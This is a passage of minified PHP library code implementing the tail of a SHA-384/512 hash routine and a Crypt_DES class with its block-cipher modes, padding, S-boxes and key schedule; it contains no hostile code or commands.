'5be0cd19137e2179' ); for ($i = 0; $i < 8; $i++) { $init384[$i] = new Math_BigInteger($init384[$i], 16); $init384[$i]->setPrecision(64); $init512[$i] = new Math_BigInteger($init512[$i], 16); $init512[$i]->setPrecision(64); } $k = array( '428a2f98d728ae22', '7137449123ef65cd', 'b5c0fbcfec4d3b2f', 'e9b5dba58189dbbc', '3956c25bf348b538', '59f111f1b605d019', '923f82a4af194f9b', 'ab1c5ed5da6d8118', 'd807aa98a3030242', '12835b0145706fbe', '243185be4ee4b28c', '550c7dc3d5ffb4e2', '72be5d74f27b896f', '80deb1fe3b1696b1', '9bdc06a725c71235', 'c19bf174cf692694', 'e49b69c19ef14ad2', 'efbe4786384f25e3', '0fc19dc68b8cd5b5', '240ca1cc77ac9c65', '2de92c6f592b0275', '4a7484aa6ea6e483', '5cb0a9dcbd41fbd4', '76f988da831153b5', '983e5152ee66dfab', 'a831c66d2db43210', 'b00327c898fb213f', 'bf597fc7beef0ee4', 'c6e00bf33da88fc2', 'd5a79147930aa725', '06ca6351e003826f', '142929670a0e6e70', '27b70a8546d22ffc', '2e1b21385c26c926', '4d2c6dfc5ac42aed', '53380d139d95b3df', '650a73548baf63de', '766a0abb3c77b2a8', '81c2c92e47edaee6', '92722c851482353b', 'a2bfe8a14cf10364', 'a81a664bbc423001', 'c24b8b70d0f89791', 'c76c51a30654be30', 'd192e819d6ef5218', 'd69906245565a910', 'f40e35855771202a', '106aa07032bbd1b8', '19a4c116b8d2d0c8', '1e376c085141ab53', '2748774cdf8eeb99', '34b0bcb5e19b48a8', '391c0cb3c5c95a63', '4ed8aa4ae3418acb', '5b9cca4f7763e373', '682e6ff3d6b2b8a3', '748f82ee5defb2fc', '78a5636f43172f60', '84c87814a1f0ab72', '8cc702081a6439ec', '90befffa23631e28', 'a4506cebde82bde9', 'bef9a3f7b2c67915', 'c67178f2e372532b', 'ca273eceea26619c', 'd186b8c721c0c207', 'eada7dd6cde0eb1e', 'f57d4f7fee6ed178', '06f067aa72176fba', '0a637dc5a2c898a6', '113f9804bef90dae', '1b710b35131c471b', '28db77f523047d84', '32caab7b40c72493', '3c9ebe0a15c9bebc', '431d67c49c100d4c', '4cc5d4becb3e42b6', '597f299cfc657e2a', '5fcb6fab3ad6faec', '6c44198c4a475817' ); for ($i = 0; $i < 80; $i++) { $k[$i] = new Math_BigInteger($k[$i], 16); } } $hash = $this->l == 48 ? $init384 : $init512; $length = strlen($m); $m.= str_repeat(chr(0) , 128 - (($length + 16) & 0x7F)); $m[$length] = chr(0x80); $m.= pack('N4', 0, 0, 0, $length << 3); $chunks = str_split($m, 128); foreach($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { $temp = new Math_BigInteger($this->_string_shift($chunk, 8) , 256); $temp->setPrecision(64); $w[] = $temp; } for ($i = 16; $i < 80; $i++) { $temp = array( $w[$i - 15]->bitwise_rightRotate(1) , $w[$i - 15]->bitwise_rightRotate(8) , $w[$i - 15]->bitwise_rightShift(7) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $w[$i - 2]->bitwise_rightRotate(19) , $w[$i - 2]->bitwise_rightRotate(61) , $w[$i - 2]->bitwise_rightShift(6) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $w[$i] = $w[$i - 16]->copy(); $w[$i] = $w[$i]->add($s0); $w[$i] = $w[$i]->add($w[$i - 7]); $w[$i] = $w[$i]->add($s1); } $a = $hash[0]->copy(); $b = $hash[1]->copy(); $c = $hash[2]->copy(); $d = $hash[3]->copy(); $e = $hash[4]->copy(); $f = $hash[5]->copy(); $g = $hash[6]->copy(); $h = $hash[7]->copy(); for ($i = 0; $i < 80; $i++) { $temp = array( $a->bitwise_rightRotate(28) , $a->bitwise_rightRotate(34) , $a->bitwise_rightRotate(39) ); $s0 = $temp[0]->bitwise_xor($temp[1]); $s0 = $s0->bitwise_xor($temp[2]); $temp = array( $a->bitwise_and($b) , $a->bitwise_and($c) , $b->bitwise_and($c) ); $maj = $temp[0]->bitwise_xor($temp[1]); $maj = $maj->bitwise_xor($temp[2]); $t2 = $s0->add($maj); $temp = array( $e->bitwise_rightRotate(14) , $e->bitwise_rightRotate(18) , $e->bitwise_rightRotate(41) ); $s1 = $temp[0]->bitwise_xor($temp[1]); $s1 = $s1->bitwise_xor($temp[2]); $temp = array( $e->bitwise_and($f) , $g->bitwise_and($e->bitwise_not()) ); $ch = $temp[0]->bitwise_xor($temp[1]); $t1 = $h->add($s1); $t1 = $t1->add($ch); $t1 = $t1->add($k[$i]); $t1 = $t1->add($w[$i]); $h = $g->copy(); $g = $f->copy(); $f = $e->copy(); $e = $d->add($t1); $d = $c->copy(); $c = $b->copy(); $b = $a->copy(); $a = $t1->add($t2); } $hash = array( $hash[0]->add($a) , $hash[1]->add($b) , $hash[2]->add($c) , $hash[3]->add($d) , $hash[4]->add($e) , $hash[5]->add($f) , $hash[6]->add($g) , $hash[7]->add($h) ); } $temp = $hash[0]->toBytes() . $hash[1]->toBytes() . $hash[2]->toBytes() . $hash[3]->toBytes() . $hash[4]->toBytes() . $hash[5]->toBytes(); if ($this->l != 48) { $temp.= $hash[6]->toBytes() . $hash[7]->toBytes(); } return $temp; } function _rightRotate($int, $amt) { $invamt = 32 - $amt; $mask = (1 << $invamt) - 1; return (($int << $invamt) & 0xFFFFFFFF) | (($int >> $amt) & $mask); } function _rightShift($int, $amt) { $mask = (1 << (32 - $amt)) - 1; return ($int >> $amt) & $mask; } function _not($int) { return ~$int & 0xFFFFFFFF; } function _add() { static $mod; if (!isset($mod)) { $mod = pow(2, 32); } $result = 0; $arguments = func_get_args(); foreach($arguments as $argument) { $result+= $argument < 0 ? ($argument & 0x7FFFFFFF) + 0x80000000 : $argument; } return fmod($result, $mod); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_DES_ENCRYPT', 0); define('CRYPT_DES_DECRYPT', 1); define('CRYPT_DES_MODE_CTR', -1); define('CRYPT_DES_MODE_ECB', 1); define('CRYPT_DES_MODE_CBC', 2); define('CRYPT_DES_MODE_CFB', 3); define('CRYPT_DES_MODE_OFB', 4); define('CRYPT_DES_MODE_INTERNAL', 1); define('CRYPT_DES_MODE_MCRYPT', 2); class Crypt_DES { var $keys = "\0\0\0\0\0\0\0\0"; var $mode; var $continuousBuffer = false; var $padding = true; var $iv = "\0\0\0\0\0\0\0\0"; var $encryptIV = "\0\0\0\0\0\0\0\0"; var $decryptIV = "\0\0\0\0\0\0\0\0"; var $enmcrypt; var $demcrypt; var $enchanged = true; var $dechanged = true; var $paddable = false; var $enbuffer = ''; var $debuffer = ''; var $ecb; function Crypt_DES($mode = CRYPT_MODE_DES_CBC) { if (!defined('CRYPT_DES_MODE')) { switch (true) { case extension_loaded('mcrypt'): define('CRYPT_DES_MODE', CRYPT_DES_MODE_MCRYPT); break; default: define('CRYPT_DES_MODE', CRYPT_DES_MODE_INTERNAL); } } switch (CRYPT_DES_MODE) { case CRYPT_DES_MODE_MCRYPT: switch ($mode) { case CRYPT_DES_MODE_ECB: $this->paddable = true; $this->mode = MCRYPT_MODE_ECB; break; case CRYPT_DES_MODE_CTR: $this->mode = 'ctr'; break; case CRYPT_DES_MODE_CFB: $this->mode = 'ncfb'; break; case CRYPT_DES_MODE_OFB: $this->mode = MCRYPT_MODE_NOFB; break; case CRYPT_DES_MODE_CBC: default: $this->paddable = true; $this->mode = MCRYPT_MODE_CBC; } break; default: switch ($mode) { case CRYPT_DES_MODE_ECB: case CRYPT_DES_MODE_CBC: $this->paddable = true; $this->mode = $mode; break; case CRYPT_DES_MODE_CTR: case CRYPT_DES_MODE_CFB: case CRYPT_DES_MODE_OFB: $this->mode = $mode; break; default: $this->paddable = true; $this->mode = CRYPT_DES_MODE_CBC; } } } function setKey($key) { $this->keys = (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) ? str_pad(substr($key, 0, 8) , 8, chr(0)) : $this->_prepareKey($key); $this->changed = true; } function setIV($iv) { $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($iv, 0, 8) , 8, chr(0)); $this->changed = true; } function _generate_xor($length, &$iv) { $xor = ''; $num_blocks = ($length + 7) >> 3; for ($i = 0; $i < $num_blocks; $i++) { $xor.= $iv; for ($j = 4; $j <= 8; $j+= 4) { $temp = substr($iv, -$j, 4); switch ($temp) { case "\xFF\xFF\xFF\xFF": $iv = substr_replace($iv, "\x00\x00\x00\x00", -$j, 4); break; case "\x7F\xFF\xFF\xFF": $iv = substr_replace($iv, "\x80\x00\x00\x00", -$j, 4); break 2; default: extract(unpack('Ncount', $temp)); $iv = substr_replace($iv, pack('N', $count + 1) , -$j, 4); break 2; } } } return $xor; } function encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) { if ($this->enchanged) { if (!isset($this->enmcrypt)) { $this->enmcrypt = mcrypt_module_open(MCRYPT_DES, '', $this->mode, ''); } mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); if ($this->mode != 'ncfb') { $this->enchanged = false; } } if ($this->mode != 'ncfb') { $ciphertext = mcrypt_generic($this->enmcrypt, $plaintext); } else { if ($this->enchanged) { $this->ecb = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->keys, "\0\0\0\0\0\0\0\0"); $this->enchanged = false; } if (strlen($this->enbuffer)) { $ciphertext = $plaintext ^ substr($this->encryptIV, strlen($this->enbuffer)); $this->enbuffer.= $ciphertext; if (strlen($this->enbuffer) == 8) { $this->encryptIV = $this->enbuffer; $this->enbuffer = ''; mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); } $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $last_pos = strlen($plaintext) & 0xFFFFFFF8; $ciphertext.= $last_pos ? mcrypt_generic($this->enmcrypt, substr($plaintext, 0, $last_pos)) : ''; if (strlen($plaintext) & 0x7) { if (strlen($ciphertext)) { $this->encryptIV = substr($ciphertext, -8); } $this->encryptIV = mcrypt_generic($this->ecb, $this->encryptIV); $this->enbuffer = substr($plaintext, $last_pos) ^ $this->encryptIV; $ciphertext.= $this->enbuffer; } } if (!$this->continuousBuffer) { mcrypt_generic_init($this->enmcrypt, $this->keys, $this->encryptIV); } return $ciphertext; } if (!is_array($this->keys)) { $this->keys = $this->_prepareKey("\0\0\0\0\0\0\0\0"); } $buffer = & $this->enbuffer; $continuousBuffer = $this->continuousBuffer; $ciphertext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+= 8) { $ciphertext.= $this->_processBlock(substr($plaintext, $i, 8) , CRYPT_DES_ENCRYPT); } break; case CRYPT_DES_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $block = $this->_processBlock($block ^ $xor, CRYPT_DES_ENCRYPT); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $buffer.= $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $key = $this->_string_shift($buffer, 8); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $key = $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_DES_MODE_CFB: if (!empty($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $iv = $buffer['encrypted'] . $ciphertext; $start = strlen($ciphertext); $buffer['encrypted'].= $ciphertext; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); } else { $ciphertext = ''; $iv = $this->encryptIV; $start = 0; } for ($i = $start; $i < strlen($plaintext); $i+= 8) { $block = substr($plaintext, $i, 8); $xor = $this->_processBlock($iv, CRYPT_DES_ENCRYPT); $iv = $block ^ $xor; if ($continuousBuffer && strlen($iv) != 8) { $buffer = array( 'encrypted' => $iv, 'xor' => substr($xor, strlen($iv)) ); } $ciphertext.= $iv; } if ($this->continuousBuffer) { $this->encryptIV = $iv; } break; case CRYPT_DES_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer.= $xor; $key = $this->_string_shift($buffer, 8); $ciphertext.= substr($plaintext, $i, 8) ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $ciphertext.= substr($plaintext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer = substr($key, $start) . $buffer; } } } return $ciphertext; } function decrypt($ciphertext) { if ($this->paddable) { $ciphertext = str_pad($ciphertext, (strlen($ciphertext) + 7) & 0xFFFFFFF8, chr(0)); } if (CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT) { if ($this->dechanged) { if (!isset($this->demcrypt)) { $this->demcrypt = mcrypt_module_open(MCRYPT_DES, '', $this->mode, ''); } mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); if ($this->mode != 'ncfb') { $this->dechanged = false; } } if ($this->mode != 'ncfb') { $plaintext = mdecrypt_generic($this->demcrypt, $ciphertext); } else { if ($this->dechanged) { $this->ecb = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_ECB, ''); mcrypt_generic_init($this->ecb, $this->keys, "\0\0\0\0\0\0\0\0"); $this->dechanged = false; } if (strlen($this->debuffer)) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($this->debuffer)); $this->debuffer.= substr($ciphertext, 0, strlen($plaintext)); if (strlen($this->debuffer) == 8) { $this->decryptIV = $this->debuffer; $this->debuffer = ''; mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); } $ciphertext = substr($ciphertext, strlen($plaintext)); } else { $plaintext = ''; } $last_pos = strlen($ciphertext) & 0xFFFFFFF8; $plaintext.= $last_pos ? mdecrypt_generic($this->demcrypt, substr($ciphertext, 0, $last_pos)) : ''; if (strlen($ciphertext) & 0x7) { if (strlen($plaintext)) { $this->decryptIV = substr($ciphertext, $last_pos - 8, 8); } $this->decryptIV = mcrypt_generic($this->ecb, $this->decryptIV); $this->debuffer = substr($ciphertext, $last_pos); $plaintext.= $this->debuffer ^ $this->decryptIV; } return $plaintext; } if (!$this->continuousBuffer) { mcrypt_generic_init($this->demcrypt, $this->keys, $this->decryptIV); } return $this->mode != 'ctr' ? $this->_unpad($plaintext) : $plaintext; } if (!is_array($this->keys)) { $this->keys = $this->_prepareKey("\0\0\0\0\0\0\0\0"); } $buffer = & $this->debuffer; $continuousBuffer = $this->continuousBuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $plaintext.= $this->_processBlock(substr($ciphertext, $i, 8) , CRYPT_DES_DECRYPT); } break; case CRYPT_DES_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $plaintext.= $this->_processBlock($block, CRYPT_DES_DECRYPT) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $buffer.= $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $key = $this->_string_shift($buffer, 8); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $key = $this->_processBlock($this->_generate_xor(8, $xor) , CRYPT_DES_ENCRYPT); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % 8) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_DES_MODE_CFB: if (!empty($buffer['ciphertext'])) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($buffer['ciphertext'])); $buffer['ciphertext'].= substr($ciphertext, 0, strlen($plaintext)); if (strlen($buffer['ciphertext']) == 8) { $xor = $this->_processBlock($buffer['ciphertext'], CRYPT_DES_ENCRYPT); $buffer['ciphertext'] = ''; } $start = strlen($plaintext); $block = $this->decryptIV; } else { $plaintext = ''; $xor = $this->_processBlock($this->decryptIV, CRYPT_DES_ENCRYPT); $start = 0; } for ($i = $start; $i < strlen($ciphertext); $i+= 8) { $block = substr($ciphertext, $i, 8); $plaintext.= $block ^ $xor; if ($continuousBuffer && strlen($block) != 8) { $buffer['ciphertext'].= $block; $block = $xor; } else if (strlen($block) == 8) { $xor = $this->_processBlock($block, CRYPT_DES_ENCRYPT); } } if ($this->continuousBuffer) { $this->decryptIV = $block; } break; case CRYPT_DES_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer.= $xor; $key = $this->_string_shift($buffer, 8); $plaintext.= substr($ciphertext, $i, 8) ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= 8) { $xor = $this->_processBlock($xor, CRYPT_DES_ENCRYPT); $plaintext.= substr($ciphertext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % 8) { $buffer = substr($key, $start) . $buffer; } } } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } function enableContinuousBuffer() { $this->continuousBuffer = true; } function disableContinuousBuffer() { $this->continuousBuffer = false; $this->encryptIV = $this->iv; $this->decryptIV = $this->iv; } function enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function _pad($text) { $length = strlen($text); if (!$this->padding) { if (($length & 7) == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size (8)", E_USER_NOTICE); $this->padding = true; } } $pad = 8 - ($length & 7); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > 8) { return false; } return substr($text, 0, -$length); } function _processBlock($block, $mode) { static $sbox = array( array( 14, 0, 4, 15, 13, 7, 1, 4, 2, 14, 15, 2, 11, 13, 8, 1, 3, 10, 10, 6, 6, 12, 12, 11, 5, 9, 9, 5, 0, 3, 7, 8, 4, 15, 1, 12, 14, 8, 8, 2, 13, 4, 6, 9, 2, 1, 11, 7, 15, 5, 12, 11, 9, 3, 7, 14, 3, 10, 10, 0, 5, 6, 0, 13 ) , array( 15, 3, 1, 13, 8, 4, 14, 7, 6, 15, 11, 2, 3, 8, 4, 14, 9, 12, 7, 0, 2, 1, 13, 10, 12, 6, 0, 9, 5, 11, 10, 5, 0, 13, 14, 8, 7, 10, 11, 1, 10, 3, 4, 15, 13, 4, 1, 2, 5, 11, 8, 6, 12, 7, 6, 12, 9, 0, 3, 5, 2, 14, 15, 9 ) , array( 10, 13, 0, 7, 9, 0, 14, 9, 6, 3, 3, 4, 15, 6, 5, 10, 1, 2, 13, 8, 12, 5, 7, 14, 11, 12, 4, 11, 2, 15, 8, 1, 13, 1, 6, 10, 4, 13, 9, 0, 8, 6, 15, 9, 3, 8, 0, 7, 11, 4, 1, 15, 2, 14, 12, 3, 5, 11, 10, 5, 14, 2, 7, 12 ) , array( 7, 13, 13, 8, 14, 11, 3, 5, 0, 6, 6, 15, 9, 0, 10, 3, 1, 4, 2, 7, 8, 2, 5, 12, 11, 1, 12, 10, 4, 14, 15, 9, 10, 3, 6, 15, 9, 0, 0, 6, 12, 10, 11, 1, 7, 13, 13, 8, 15, 9, 1, 4, 3, 5, 14, 11, 5, 12, 2, 7, 8, 2, 4, 14 ) , array( 2, 14, 12, 11, 4, 2, 1, 12, 7, 4, 10, 7, 11, 13, 6, 1, 8, 5, 5, 0, 3, 15, 15, 10, 13, 3, 0, 9, 14, 8, 9, 6, 4, 11, 2, 8, 1, 12, 11, 7, 10, 1, 13, 14, 7, 2, 8, 13, 15, 6, 9, 15, 12, 0, 5, 9, 6, 10, 3, 4, 0, 5, 14, 3 ) , array( 12, 10, 1, 15, 10, 4, 15, 2, 9, 7, 2, 12, 6, 9, 8, 5, 0, 6, 13, 1, 3, 13, 4, 14, 14, 0, 7, 11, 5, 3, 11, 8, 9, 4, 14, 3, 15, 2, 5, 12, 2, 9, 8, 5, 12, 15, 3, 10, 7, 11, 0, 14, 4, 1, 10, 7, 1, 6, 13, 0, 11, 8, 6, 13 ) , array( 4, 13, 11, 0, 2, 11, 14, 7, 15, 4, 0, 9, 8, 1, 13, 10, 3, 14, 12, 3, 9, 5, 7, 12, 5, 2, 10, 15, 6, 8, 1, 6, 1, 6, 4, 11, 11, 13, 13, 8, 12, 1, 3, 4, 7, 10, 14, 7, 10, 9, 15, 5, 6, 0, 8, 15, 0, 14, 5, 2, 9, 3, 2, 12 ) , array( 13, 1, 2, 15, 8, 13, 4, 8, 6, 10, 15, 3, 11, 7, 1, 4, 10, 12, 9, 5, 3, 6, 14, 11, 5, 0, 0, 14, 12, 9, 7, 2, 7, 2, 11, 1, 4, 14, 1, 7, 9, 4, 12, 10, 14, 8, 2, 13, 0, 15, 6, 12, 10, 9, 13, 0, 15, 3, 3, 5, 5, 6, 8, 11 ) ); $keys = $this->keys; $temp = unpack('Na/Nb', $block); $block = array( $temp['a'], $temp['b'] ); $msb = array( ($block[0] >> 31) & 1, ($block[1] >> 31) & 1 ); $block[0]&= 0x7FFFFFFF; $block[1]&= 0x7FFFFFFF; $block = array( (($block[1] & 0x00000040) << 25) | (($block[1] & 0x00004000) << 16) | (($block[1] & 0x00400001) << 7) | (($block[1] & 0x40000100) >> 2) | (($block[0] & 0x00000040) << 21) | (($block[0] & 0x00004000) << 12) | (($block[0] & 0x00400001) << 3) | (($block[0] & 0x40000100) >> 6) | (($block[1] & 0x00000010) << 19) | (($block[1] & 0x00001000) << 10) | (($block[1] & 0x00100000) << 1) | (($block[1] & 0x10000000) >> 8) | (($block[0] & 0x00000010) << 15) | (($block[0] & 0x00001000) << 6) | (($block[0] & 0x00100000) >> 3) | (($block[0] & 0x10000000) >> 12) | (($block[1] & 0x00000004) << 13) | (($block[1] & 0x00000400) << 4) | (($block[1] & 0x00040000) >> 5) | (($block[1] & 0x04000000) >> 14) | (($block[0] & 0x00000004) << 9) | ($block[0] & 0x00000400) | (($block[0] & 0x00040000) >> 9) | (($block[0] & 0x04000000) >> 18) | (($block[1] & 0x00010000) >> 11) | (($block[1] & 0x01000000) >> 20) | (($block[0] & 0x00010000) >> 15) | (($block[0] & 0x01000000) >> 24) , (($block[1] & 0x00000080) << 24) | (($block[1] & 0x00008000) << 15) | (($block[1] & 0x00800002) << 6) | (($block[0] & 0x00000080) << 20) | (($block[0] & 0x00008000) << 11) | (($block[0] & 0x00800002) << 2) | (($block[1] & 0x00000020) << 18) | (($block[1] & 0x00002000) << 9) | ($block[1] & 0x00200000) | (($block[1] & 0x20000000) >> 9) | (($block[0] & 0x00000020) << 14) | (($block[0] & 0x00002000) << 5) | (($block[0] & 0x00200000) >> 4) | (($block[0] & 0x20000000) >> 13) | (($block[1] & 0x00000008) << 12) | (($block[1] & 0x00000800) << 3) | (($block[1] & 0x00080000) >> 6) | (($block[1] & 0x08000000) >> 15) | (($block[0] & 0x00000008) << 8) | (($block[0] & 0x00000800) >> 1) | (($block[0] & 0x00080000) >> 10) | (($block[0] & 0x08000000) >> 19) | (($block[1] & 0x00000200) >> 3) | (($block[0] & 0x00000200) >> 7) | (($block[1] & 0x00020000) >> 12) | (($block[1] & 0x02000000) >> 21) | (($block[0] & 0x00020000) >> 16) | (($block[0] & 0x02000000) >> 25) | ($msb[1] << 28) | ($msb[0] << 24) ); for ($i = 0; $i < 16; $i++) { $temp = (($sbox[0][((($block[1] >> 27) & 0x1F) | (($block[1] & 1) << 5)) ^ $keys[$mode][$i][0]]) << 28) | (($sbox[1][(($block[1] & 0x1F800000) >> 23) ^ $keys[$mode][$i][1]]) << 24) | (($sbox[2][(($block[1] & 0x01F80000) >> 19) ^ $keys[$mode][$i][2]]) << 20) | (($sbox[3][(($block[1] & 0x001F8000) >> 15) ^ $keys[$mode][$i][3]]) << 16) | (($sbox[4][(($block[1] & 0x0001F800) >> 11) ^ $keys[$mode][$i][4]]) << 12) | (($sbox[5][(($block[1] & 0x00001F80) >> 7) ^ $keys[$mode][$i][5]]) << 8) | (($sbox[6][(($block[1] & 0x000001F8) >> 3) ^ $keys[$mode][$i][6]]) << 4) | ($sbox[7][((($block[1] & 0x1F) << 1) | (($block[1] >> 31) & 1)) ^ $keys[$mode][$i][7]]); $msb = ($temp >> 31) & 1; $temp&= 0x7FFFFFFF; $newBlock = (($temp & 0x00010000) << 15) | (($temp & 0x02020120) << 5) | (($temp & 0x00001800) << 17) | (($temp & 0x01000000) >> 10) | (($temp & 0x00000008) << 24) | (($temp & 0x00100000) << 6) | (($temp & 0x00000010) << 21) | (($temp & 0x00008000) << 9) | (($temp & 0x00000200) << 12) | (($temp & 0x10000000) >> 27) | (($temp & 0x00000040) << 14) | (($temp & 0x08000000) >> 8) | (($temp & 0x00004000) << 4) | (($temp & 0x00000002) << 16) | (($temp & 0x00442000) >> 6) | (($temp & 0x40800000) >> 15) | (($temp & 0x00000001) << 11) | (($temp & 0x20000000) >> 20) | (($temp & 0x00080000) >> 13) | (($temp & 0x00000004) << 3) | (($temp & 0x04000000) >> 22) | (($temp & 0x00000480) >> 7) | (($temp & 0x00200000) >> 19) | ($msb << 23); $temp = $block[1]; $block[1] = $block[0] ^ $newBlock; $block[0] = $temp; } $msb = array( ($block[0] >> 31) & 1, ($block[1] >> 31) & 1 ); $block[0]&= 0x7FFFFFFF; $block[1]&= 0x7FFFFFFF; $block = array( (($block[0] & 0x01000004) << 7) | (($block[1] & 0x01000004) << 6) | (($block[0] & 0x00010000) << 13) | (($block[1] & 0x00010000) << 12) | (($block[0] & 0x00000100) << 19) | (($block[1] & 0x00000100) << 18) | (($block[0] & 0x00000001) << 25) | (($block[1] & 0x00000001) << 24) | (($block[0] & 0x02000008) >> 2) | (($block[1] & 0x02000008) >> 3) | (($block[0] & 0x00020000) << 4) | (($block[1] & 0x00020000) << 3) | (($block[0] & 0x00000200) << 10) | (($block[1] & 0x00000200) << 9) | (($block[0] & 0x00000002) << 16) | (($block[1] & 0x00000002) << 15) | (($block[0] & 0x04000000) >> 11) | (($block[1] & 0x04000000) >> 12) | (($block[0] & 0x00040000) >> 5) | (($block[1] & 0x00040000) >> 6) | (($block[0] & 0x00000400) << 1) | ($block[1] & 0x00000400) | (($block[0] & 0x08000000) >> 20) | (($block[1] & 0x08000000) >> 21) | (($block[0] & 0x00080000) >> 14) | (($block[1] & 0x00080000) >> 15) | (($block[0] & 0x00000800) >> 8) | (($block[1] & 0x00000800) >> 9) , (($block[0] & 0x10000040) << 3) | (($block[1] & 0x10000040) << 2) | (($block[0] & 0x00100000) << 9) | (($block[1] & 0x00100000) << 8) | (($block[0] & 0x00001000) << 15) | (($block[1] & 0x00001000) << 14) | (($block[0] & 0x00000010) << 21) | (($block[1] & 0x00000010) << 20) | (($block[0] & 0x20000080) >> 6) | (($block[1] & 0x20000080) >> 7) | ($block[0] & 0x00200000) | (($block[1] & 0x00200000) >> 1) | (($block[0] & 0x00002000) << 6) | (($block[1] & 0x00002000) << 5) | (($block[0] & 0x00000020) << 12) | (($block[1] & 0x00000020) << 11) | (($block[0] & 0x40000000) >> 15) | (($block[1] & 0x40000000) >> 16) | (($block[0] & 0x00400000) >> 9) | (($block[1] & 0x00400000) >> 10) | (($block[0] & 0x00004000) >> 3) | (($block[1] & 0x00004000) >> 4) | (($block[0] & 0x00800000) >> 18) | (($block[1] & 0x00800000) >> 19) | (($block[0] & 0x00008000) >> 12) | (($block[1] & 0x00008000) >> 13) | ($msb[0] << 7) | ($msb[1] << 6) ); return pack('NN', $block[0], $block[1]); } function _prepareKey($key) { static $shifts = array( 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ); $key = str_pad(substr($key, 0, 8) , 8, chr(0)); $temp = unpack('Na/Nb', $key); $key = array( $temp['a'], $temp['b'] ); $msb = array( ($key[0] >> 31) & 1, ($key[1] >> 31) & 1 ); $key[0]&= 0x7FFFFFFF; $key[1]&= 0x7FFFFFFF; $key = array( (($key[1] & 0x00000002) << 26) | (($key[1] & 0x00000204) << 17) | (($key[1] & 0x00020408) << 8) | (($key[1] & 0x02040800) >> 1) | (($key[0] & 0x00000002) << 22) | (($key[0] & 0x00000204) << 13) | (($key[0] & 0x00020408) << 4) | (($key[0] & 0x02040800) >> 5) | (($key[1] & 0x04080000) >> 10) | (($key[0] & 0x04080000) >> 14) | (($key[1] & 0x08000000) >> 19) | (($key[0] & 0x08000000) >> 23) | (($key[0] & 0x00000010) >> 1) | (($key[0] & 0x00001000) >> 10) | (($key[0] & 0x00100000) >> 19) | 